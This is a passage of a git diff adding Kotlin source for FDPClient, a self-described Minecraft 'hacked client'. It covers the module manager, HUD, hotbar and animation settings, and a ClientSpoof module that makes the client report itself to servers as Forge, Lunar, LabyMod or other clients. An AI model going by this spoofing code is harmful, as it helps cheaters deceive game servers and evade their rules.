ClientUtils.logInfo("[ModuleManager] Loaded ${modules.size} modules.") + } + + /** + * Register [module] + */ + fun registerModule(module: Module) { + modules += module + moduleClassMap[module.javaClass] = module + modules.sortBy { it.name } + + generateCommand(module) + + FDPClient.eventManager.registerListener(module) + } + + /** + * Register [moduleClass] + */ + private fun registerModule(moduleClass: Class<out Module>) { + try { + registerModule(moduleClass.newInstance()) + } catch (e: IllegalAccessException) { + // this module is a kotlin object + registerModule(ClassUtils.getObjectInstance(moduleClass) as Module) + } catch (e: Throwable) { + ClientUtils.logError("Failed to load module: ${moduleClass.name} (${e.javaClass.name}: ${e.message})") + } + } + + /** + * Unregister module + */ + fun unregisterModule(module: Module) { + modules.remove(module) + moduleClassMap.remove(module::class.java) + FDPClient.eventManager.unregisterListener(module) + } + + /** + * Generate command for [module] + */ + internal fun generateCommand(module: Module) { + if (!module.moduleCommand) { + return + } + + val values = module.values + + if (values.isEmpty()) { + return + } + + FDPClient.commandManager.registerCommand(ModuleCommand(module, values)) + } + + fun getModulesByName(name: String): List<Module> { + return this.modules.filter { it.name.lowercase().contains(name.lowercase()) } + } + + /** + * Get module by [moduleClass] + */ + fun <T : Module> getModule(moduleClass: Class<T>): T? { + return moduleClassMap[moduleClass] as T? + } + + operator fun <T : Module> get(clazz: Class<T>) = getModule(clazz) + + /** + * Get module by [moduleName] + */ + fun getModule(moduleName: String?) = modules.find { it.name.equals(moduleName, ignoreCase = true) } + + fun getKeyBind(key: Int) = modules.filter { it.keyBind == key } + + /** + * Module related events + */ + + /** + * Handle incoming key presses + */ + private var skip = 0 + @EventTarget + private fun onKey(event: KeyEvent) { + if (pendingBindModule == null) { + modules.toMutableList().filter { it.triggerType == EnumTriggerType.TOGGLE && it.keyBind == event.key }.forEach { it.toggle() } + } else { + skip++ + if (skip <= 1) { + return + } + skip = 0 + pendingBindModule!!.keyBind = event.key + ClientUtils.displayAlert("Bound module §a§l${pendingBindModule!!.name}§3 to key §a§l${Keyboard.getKeyName(event.key)}§3.") + FDPClient.hud.addNotification(Notification("KeyBind", "Bound ${pendingBindModule!!.name} to ${Keyboard.getKeyName(event.key)}.", NotifyType.INFO)) + pendingBindModule = null + } + } + + @EventTarget + private fun onUpdate(event: UpdateEvent) { + if (pendingBindModule != null || Minecraft.getMinecraft().currentScreen != null) { + return + } + modules.filter { it.triggerType == EnumTriggerType.PRESS }.forEach { it.state = Keyboard.isKeyDown(it.keyBind) } + } + + override fun handleEvents() = true +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Animations.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Animations.kt new file mode 100644 index 0000000..eec0219 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/Animations.kt @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue + +@ModuleInfo(name = "Animations", category = ModuleCategory.CLIENT, canEnable = false) +object Animations : Module() { + val blockingModeValue = ListValue( + "BlockingMode", arrayOf("1.7", "Akrien", "Avatar", "ETB", "Exhibition", "Dortware", "Push", "Reverse", "Shield", "SigmaNew", "SigmaOld", "Slide", "SlideDown", "HSlide", "Swong", "VisionFX", "Swank", "Jello", "Rotate", "Liquid", "Fall", "Yeet", "Yeet2", "None"), "1.7") + + val invModeValue = ListValue("InvMode", arrayOf("None", "Slide", "Zoom"), "Zoom") + val invEaseModeValue = EaseUtils.getEnumEasingList("InvEase") + val invEaseOrderModeValue = EaseUtils.getEnumEasingOrderList("InvEaseOrder").displayable { !invEaseModeValue.equals("NONE") } + val invTimeValue = IntegerValue("InvTime", 500, 0, 1000).displayable { !invModeValue.equals("None") } + private val tabShowPlayerSkinValue = BoolValue("TabShowPlayerSkin", true) + val tabModeValue = ListValue("TabMode", arrayOf("None", "UpSlide", "DownSlide", "Zoom"), "Zoom") + val tabEaseModeValue = EaseUtils.getEnumEasingList("TabEase") + val tabEaseOrderModeValue = EaseUtils.getEnumEasingOrderList("TabEaseOrder").displayable { !tabEaseModeValue.equals("NONE") } + val tabTimeValue = IntegerValue("TabTime", 500, 0, 1000).displayable { !tabModeValue.equals("None") } + val translateXValue = FloatValue("TranslateX", 0.0f, 0.0f, 1.5f) + val translateYValue = FloatValue("TranslateY", 0.0f, 0.0f, 0.5f) + val translateZValue = FloatValue("TranslateZ", 0.0f, -2.0f, 0.0f) + val rotateXValue = FloatValue("RotateX", 0.0f, -180f, 180f) + val rotateYValue = FloatValue("RotateY", 0.0f, -180f, 180f) + val rotateZValue = FloatValue("RotateZ", 0.0f, -180f, 180f) + val itemPosXValue = FloatValue("ItemPosX", 0.66F, -1.0F, 1.0F) + val itemPosYValue = FloatValue("ItemPosY", -0.37F, -1.0F, 1.0F) + val itemPosZValue = FloatValue("ItemPosZ", -1.00F, -1.0F, 1.0F) + val itemScaleValue = FloatValue("ItemScale", 0.26f, 0.0f, 2.0f) + val swingAnimValue = BoolValue("SwingAnim", false) + val swingSpeedValue = FloatValue("SwingSpeed", 1f, 0.5f, 5.0f) + val anythingBlockValue = BoolValue("AnythingBlock", false) + @JvmStatic + val noBlockParticles = BoolValue("NoBlockParticles", false) + + + var flagRenderTabOverlay = false + get() = field && tabShowPlayerSkinValue.get() + + var tabPercent = 0f + var tabHopePercent = 0f + var lastTabSync = 0L +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/CapeManager.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/CapeManager.kt new file mode 100644 index 0000000..b60949a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/CapeManager.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.cape.GuiCapeManager + +@ModuleInfo(name = "CapeManager", category = ModuleCategory.CLIENT, canEnable = false) +object CapeManager : Module() { + override fun onEnable() { + mc.displayGuiScreen(GuiCapeManager) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ChatControl.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ChatControl.kt new file mode 100644 index 0000000..23367ab --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ChatControl.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "ChatControl", category = ModuleCategory.CLIENT, defaultOn = true) +object ChatControl : Module() { + val chatLimitValue = BoolValue("NoChatLimit", true) + val chatClearValue = BoolValue("NoChatClear", true) + val chatCombineValue = BoolValue("ChatCombine", true) + val fontChatValue = BoolValue("FontChat", false) + val chatRectValue = BoolValue("ChatBackGround", false) + val betterChatRectValue = BoolValue("BetterChatRect", false) + val chatAnimValue = BoolValue("ChatAnimation", false) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ClientSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ClientSpoof.kt new file mode 100644 index 0000000..527599e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/ClientSpoof.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.client.button.* +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.gui.GuiButton + +@ModuleInfo(name = "ClientSpoof", category = ModuleCategory.CLIENT, defaultOn = true) +object ClientSpoof : Module() { + + val modeValue = ListValue("Payloads", arrayOf("Vanilla", "Forge", "Lunar", "LabyMod", "CheatBreaker", "PvPLounge"), "LabyMod") + private val buttonValue = ListValue("Button", arrayOf("Better", "RGBRounded", "Wolfram", "Rounded", "Hyperium", "RGB", "Badlion", "Flat", "FLine", "Rise", "Vanilla"), "Hyperium") + val render = BoolValue("Render", true) + + fun getButtonRenderer(button: GuiButton): AbstractButtonRenderer? { + return when (buttonValue.get().lowercase()) { + "better" -> BetterButtonRenderer(button) + "rounded" -> RoundedButtonRenderer(button) + "fline" -> FLineButtonRenderer(button) + "rise" -> RiseButtonRenderer(button) + "hyperium" -> HyperiumButtonRenderer(button) + "rgb" -> RGBButtonRenderer(button) + "badlion" -> BadlionTwoButtonRenderer(button) + "rgbrounded" -> RGBRoundedButtonRenderer(button) + "wolfram" -> WolframButtonRenderer(button) + else -> null // vanilla or unknown + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/DiscordRPCModule.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/DiscordRPCModule.kt new file mode 100644 index 0000000..c21ebd9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/DiscordRPCModule.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.handler.discord.DiscordRPC +import net.ccbluex.liquidbounce.features.value.* + +@ModuleInfo(name = "DiscordRPC", category = ModuleCategory.CLIENT) +class DiscordRPCModule : Module() { + + val showServerValue = BoolValue("ShowServer", false) + val showNameValue = BoolValue("ShowName", false) + val showHealthValue = BoolValue("ShowHealth", true) + val showOtherValue = BoolValue("ShowOther", false) + val showModuleValue = BoolValue("ShowModule", false) + val animated = BoolValue("ShouldAnimate?", true) + + override fun onEnable() { + DiscordRPC.run() + } + + override fun onDisable() { + DiscordRPC.stop() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HUD.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HUD.kt new file mode 100644 index 0000000..3e585d6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HUD.kt @@ -0,0 +1,165 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import cn.hanabi.gui.cloudmusic.ui.MusicOverlayRenderer +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.FDPClient.CLIENT_NAME +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.cape.GuiCapeManager.height +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule.colorBlueValue +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule.colorGreenValue +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule.colorRedValue +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.minecraft.client.gui.GuiChat +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.MathHelper +import net.minecraft.util.ResourceLocation +import java.awt.Color +import java.util.* + +@ModuleInfo(name = "HUD", category = ModuleCategory.CLIENT, array = false, defaultOn = true) +object HUD : Module() { + val tabHead = BoolValue("Tab-HeadOverlay", true) + val shadowValue = ListValue("TextShadowMode", arrayOf("LiquidBounce", "Outline", "Default", "Autumn"), "Default") + private val clolormode = ListValue("ColorMode", arrayOf("Rainbow", "Light Rainbow", "Static", "Double Color", "Default"), "Light Rainbow") + private val MusicDisplay = BoolValue("MusicDisplay",true) + val inventoryOnHotbar = BoolValue("InventoryOnHotbar", false) + val hueInterpolation = BoolValue("HueInterpolation", false) + val movingcolors = BoolValue("MovingColors", false) + val inventoryParticle = BoolValue("InventoryParticle", false) + private val blurValue = BoolValue("Blur", false) + private val HealthValue = BoolValue("Health", true) + private val mark = ListValue("Mark", arrayOf("FDPCN","FDP","None"),"FDP") + val rainbowStartValue = FloatValue("RainbowStart", 0.55f, 0f, 1f) + val rainbowStopValue = FloatValue("RainbowStop", 0.85f, 0f, 1f) + val rainbowSaturationValue = FloatValue("RainbowSaturation", 0.45f, 0f, 1f) + val rainbowBrightnessValue = FloatValue("RainbowBrightness", 0.85f, 0f, 1f) + val rainbowSpeedValue = IntegerValue("RainbowSpeed", 1500, 500, 7000) + val arraylistXAxisAnimSpeedValue = IntegerValue("ArraylistXAxisAnimSpeed", 10, 5, 20) + val arraylistXAxisAnimTypeValue = EaseUtils.getEnumEasingList("ArraylistXAxisAnimType") + val arraylistXAxisAnimOrderValue = EaseUtils.getEnumEasingOrderList("ArraylistXAxisHotbarAnimOrder").displayable { !arraylistXAxisAnimTypeValue.equals("NONE") } + val arraylistYAxisAnimSpeedValue = IntegerValue("ArraylistYAxisAnimSpeed", 10, 5, 20) + val arraylistYAxisAnimTypeValue = EaseUtils.getEnumEasingList("ArraylistYAxisAnimType") + val arraylistYAxisAnimOrderValue = EaseUtils.getEnumEasingOrderList("ArraylistYAxisHotbarAnimOrder").displayable { !arraylistYAxisAnimTypeValue.equals("NONE") } + private val fontEpsilonValue = FloatValue("FontVectorEpsilon", 0.5f, 0f, 1.5f) + + private var lastFontEpsilon = 0f + + /** + * Renders the HUD. + */ + @EventTarget + fun onRender2D(event: Render2DEvent) { + if (MusicDisplay.get()) MusicOverlayRenderer.INSTANCE.renderOverlay() + if (mc.currentScreen is GuiHudDesigner) return + FDPClient.hud.render(false, event.partialTicks) + if (mark.equals("FDP")) renderWatermark() + if (mark.equals("FDPCN")) renderfdpcn() + if (HealthValue.get()) mc.fontRendererObj.drawStringWithShadow( + MathHelper.ceiling_float_int(mc.thePlayer.health).toString(), + (width / 2 - 4).toFloat(), (height / 2 - 13).toFloat(), if (mc.thePlayer.health <= 15) Color(255, 0, 0).rgb else Color(0, 255, 0).rgb) + GlStateManager.resetColor() + } + + /** + * Renders the watermark. + */ + private fun renderWatermark() { + var width = 3 + val colors = getClientColors() + mc.fontRendererObj.drawStringWithShadow( + "FDP", + 3.0f, + 3.0f, + colors[0].rgb + ) + width += mc.fontRendererObj.getStringWidth("FDP") + mc.fontRendererObj.drawStringWithShadow( + "CLIENT", + width.toFloat(), + 3.0f, + colors[1].rgb + ) + } + private fun getClientName(i: Int, i2: Int): String{ + return "FDPClient".substring(i,i2) + } + private fun renderfdpcn() { + FontLoaders.F40.drawString( + + getClientName(0,3), 5.0f, 0.0f,Color(255,255,255,220).rgb + ) + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + FDPClient.hud.update() + if (mc.currentScreen == null && lastFontEpsilon != fontEpsilonValue.get()) { + lastFontEpsilon = fontEpsilonValue.get() + alert("You need to reload FDPClient to apply changes!") + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + lastFontEpsilon = fontEpsilonValue.get() + } + + @EventTarget(ignoreCondition = true) + fun onScreen(event: ScreenEvent) { + if (mc.theWorld == null || mc.thePlayer == null) return + if (state && blurValue.get() && !mc.entityRenderer.isShaderActive && event.guiScreen != null && + !(event.guiScreen is GuiChat || event.guiScreen is GuiHudDesigner)) mc.entityRenderer.loadShader( + ResourceLocation(CLIENT_NAME.lowercase() + "/blur.json") + ) else if (mc.entityRenderer.shaderGroup != null && + "fdpclient/blur.json" in mc.entityRenderer.shaderGroup.shaderGroupName) mc.entityRenderer.stopUseShader() + } + + @EventTarget + fun onKey(event: KeyEvent) { + FDPClient.hud.handleKey('a', event.key) + } + + fun getClientColors(): Array<Color> { + val firstColor: Color + val secondColor: Color + when (clolormode.get().lowercase(Locale.getDefault())) { + "light rainbow" -> { + firstColor = ColorUtils.rainbowc(15, 1, .6f, 1F, 1F)!! + secondColor = ColorUtils.rainbowc(15, 40, .6f, 1F, 1F)!! + } + "rainbow" -> { + firstColor = ColorUtils.rainbowc(15, 1, 1F, 1F, 1F)!! + secondColor = ColorUtils.rainbowc(15, 40, 1F, 1F, 1F)!! + } + "double color" -> { + firstColor = + ColorUtils.interpolateColorsBackAndForth(15, 0, Color.PINK, Color.BLUE, hueInterpolation.get())!! + secondColor = + ColorUtils.interpolateColorsBackAndForth(15, 90, Color.PINK, Color.BLUE, hueInterpolation.get())!! + } + "static" -> { + firstColor = Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + secondColor = firstColor + } + else -> { + firstColor = Color(-1) + secondColor = Color(-1) + } + } + return arrayOf(firstColor, secondColor) + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HotbarSettings.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HotbarSettings.kt new file mode 100644 index 0000000..ebb17c7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/HotbarSettings.kt @@ -0,0 +1,336 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.Animation +import net.ccbluex.liquidbounce.utils.render.BlurUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.ColorUtils.skyRainbow +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.gui.GuiIngame +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.WorldRenderer +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.item.ItemStack +import net.minecraft.util.EnumChatFormatting +import net.minecraft.util.ResourceLocation +import java.awt.Color +import java.text.SimpleDateFormat +import kotlin.math.max + +@ModuleInfo(name = "Hotbar", category = ModuleCategory.CLIENT, array = false, defaultOn = true) +object HotbarSettings : Module() { + val hotbarValue = ListValue("HotbarMode", arrayOf("Minecraft", "Rounded", "Full", "LB", "Rise", "Gradient", "Overflow", "Glow", "Glowing", "Dock", "Exhi", "BlueIce", "Win11", "Bread"), "Minecraft") + private val hotbarAlphaValue = IntegerValue("HotbarAlpha", 70, 0, 255) + private val hotbarEaseValue = BoolValue("HotbarEase", true) + private val BlurValue = BoolValue("Blur", false) + private val BlurAmount = FloatValue("BlurAmount", 10F, 1F, 100F).displayable { BlurValue.get() } + private val ItemCountValue = BoolValue("ItemColorCount", false) + private val ItemFontValue = ListValue("ItemFont", arrayOf("MiSans", "Minecraft"), "Minecraft") + private val hotbarAnimSpeedValue = IntegerValue("HotbarAnimSpeed", 10, 5, 20).displayable { hotbarEaseValue.get() } + private val hotbarAnimTypeValue = EaseUtils.getEnumEasingList("HotbarAnimType").displayable { hotbarEaseValue.get() } + private val hotbarAnimOrderValue = EaseUtils.getEnumEasingOrderList("HotbarAnimOrder").displayable { hotbarEaseValue.get() } + @EventTarget + fun onRender2D(event: Render2DEvent) { + val sr = event.scaledResolution + val i = sr.getScaledWidth() / 2 + val entityplayer = mc.renderViewEntity as EntityPlayer + val itemX = sr.scaledWidth / 2 - 91 + getHotbarEasePos(entityplayer.inventory.currentItem * 20) + val posInv = (91 - i + itemX).toFloat() + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + when { + hotbarValue.get() == "Win11" -> { + if(BlurValue.get()) { BlurUtils.draw(0F, (sr.scaledHeight - 24).toFloat(), sr.scaledWidth.toFloat(), 24F, 100F) } + // render the hotbar bg and items + RenderUtils.drawRect(0f, (sr.scaledHeight - 24).toFloat(), sr.scaledWidth.toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, 160)) + RenderHelper.enableGUIStandardItemLighting(); for (item in 0..8) { HotbarItems(item, sr.scaledWidth / 2 - 90 + item * 20 + 13, sr.scaledHeight - 20); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + item * 20 + 13, sr.scaledHeight - 20, null as String?, item) }; RenderHelper.disableStandardItemLighting() + RenderHelper.disableStandardItemLighting() + // render windows logo and item pos indicator + RenderUtils.originalRoundedRect(itemX + 19F, sr.scaledHeight - 3F, itemX + 25F,sr.scaledHeight - 1F, 1F, Color(68, 129, 230).rgb) + RenderUtils.drawImage( ResourceLocation("fdpclient/ui/hotbar/win11.png"), sr.scaledWidth / 2 - 95, sr.scaledHeight - 19, 14, 14) + // date and time + val dateFormat = SimpleDateFormat("dd/MM/yy") + val date = dateFormat.format(System.currentTimeMillis()) + FontLoaders.F14.drawString(date, sr.scaledWidth - FontLoaders.F14.getStringWidth(date) - 4F,sr.scaledHeight - 9F, Color(255, 255, 255).rgb) + val hourFormat = SimpleDateFormat("HH:mm") + val time = hourFormat.format(System.currentTimeMillis()) + FontLoaders.F14.drawString(time, sr.scaledWidth - FontLoaders.F14.getStringWidth(time) - 4F,sr.scaledHeight - 18F, Color(255, 255, 255).rgb) + // get distance date takes up + val padding = max(FontLoaders.F14.getStringWidth(time), FontLoaders.F14.getStringWidth(date)) + 10 + // fake icons + RenderUtils.drawImage(ResourceLocation("fdpclient/ui/hotbar/1.png"), (sr.scaledWidth - padding) - 10, sr.scaledHeight - 17, 10, 10) + RenderUtils.drawImage(ResourceLocation("fdpclient/ui/hotbar/2.png"), (sr.scaledWidth - padding) - 28, sr.scaledHeight - 17, 10, 10) + RenderUtils.drawImage(ResourceLocation("fdpclient/ui/hotbar/3.png"), (sr.scaledWidth - padding) - 46, sr.scaledHeight - 17, 10, 10) + // lang idicator + val loccode = mc.gameSettings.language.uppercase() + val lang = loccode.substringBefore("_", "null") + val region = loccode.substringAfter("_", "null") + FontLoaders.F14.drawString(lang, (sr.scaledWidth - padding) - 62F,sr.scaledHeight - 17F, Color(255, 255, 255).rgb) + FontLoaders.F14.drawString(region, (sr.scaledWidth - padding) - 62F,sr.scaledHeight - 10F, Color(255, 255, 255).rgb) + // fake expand tray icon + val paddingAfter = (max( + FontLoaders.F14.getStringWidth(time), + FontLoaders.F14.getStringWidth(date) + ) + 10) + (max(FontLoaders.F14.getStringWidth(lang), FontLoaders.F14.getStringWidth(region)) + 2) + RenderUtils.drawImage(ResourceLocation("fdpclient/ui/hotbar/up.png"), (sr.scaledWidth - paddingAfter) - 68, sr.scaledHeight - 17, 10, 10) + } + hotbarValue.get() == "Rise" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { + BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), 182F, 22F, BlurAmount.get()) + } + RenderUtils.drawRect((i - 91).toFloat(), (sr.scaledHeight - 22).toFloat(), (i + 91).toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 22).toFloat(), (itemX + 22).toFloat(), (sr.scaledHeight - 21).toFloat(), rainbow()) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 21).toFloat(), (itemX + 22).toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderHelper.enableGUIStandardItemLighting() + for (Index: Int in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Full" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { BlurUtils.draw(0F, (sr.scaledHeight - 23).toFloat(), sr.scaledWidth.toFloat(), 23F, BlurAmount.get()) } + RenderUtils.drawRect(0f, (sr.scaledHeight - 23).toFloat(), sr.scaledWidth.toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 23).toFloat(), (itemX + 22).toFloat(), (sr.scaledHeight - 21).toFloat(), rainbow()) + RenderUtils.drawRect(itemX.toFloat(), (sr.scaledHeight - 21).toFloat(), (itemX + 22).toFloat(), sr.scaledHeight.toFloat(), Color(0, 0, 0, hotbarAlphaValue.get())) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "LB" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 24).toFloat(), 182F, 24F, BlurAmount.get()) } + RenderUtils.drawRect((i - 91).toFloat(), (sr.scaledHeight - 24).toFloat(), (i + 90).toFloat(), sr.scaledHeight.toFloat(), Int.MIN_VALUE) + RenderUtils.drawRect(i - 91 - 1 + posInv + 1, (sr.scaledHeight - 24).toFloat(), i - 91 - 1 + posInv + 22, (sr.scaledHeight - 22 - 1 + 24).toFloat(), Int.MAX_VALUE) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index)} + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Overflow" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 23).toFloat(), 182F, 23F, BlurAmount.get()) } + GuiIngame.drawRect(i - 91, sr.scaledHeight - 23, i + 91, sr.scaledHeight - 1, Int.MIN_VALUE) + GuiIngame.drawRect(itemX, sr.scaledHeight - 24, itemX + 22, sr.scaledHeight - 23, Color(90, 120, 255).rgb) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + RenderHelper.disableStandardItemLighting() + } + hotbarValue.get() == "Gradient" -> { + if(BlurValue.get() && BlurAmount.get() > 1F ) { BlurUtils.draw((i - 91).toFloat(), (sr.scaledHeight - 24).toFloat(), 182F, 28F, BlurAmount.get()) } + RenderUtils.drawGradientSidewaysV((i - 91).toDouble(), (sr.scaledHeight - 24).toDouble(), (i + 91).toDouble(), sr.scaledHeight.toDouble(), Color(0, 0, 0).rgb, Color(0, 0, 0, 20).rgb) + RenderUtils.drawGradientSidewaysV(itemX.toDouble(), (sr.scaledHeight - 24).toDouble(), (itemX + 22).toDouble(), sr.scaledHeight.toDouble(), Color(255, 255, 255, 190).rgb, Color(0, 0, 0, 20).rgb) + RenderHelper.enableGUIStandardItemLighting() + for (Index in 0..8) { HotbarItems(Index, sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19); HotbarTextOverlay(sr.scaledWidth / 2 - 90 + Index * 20 + 2, sr.scaledHeight - 19, null as String?, Index) } + 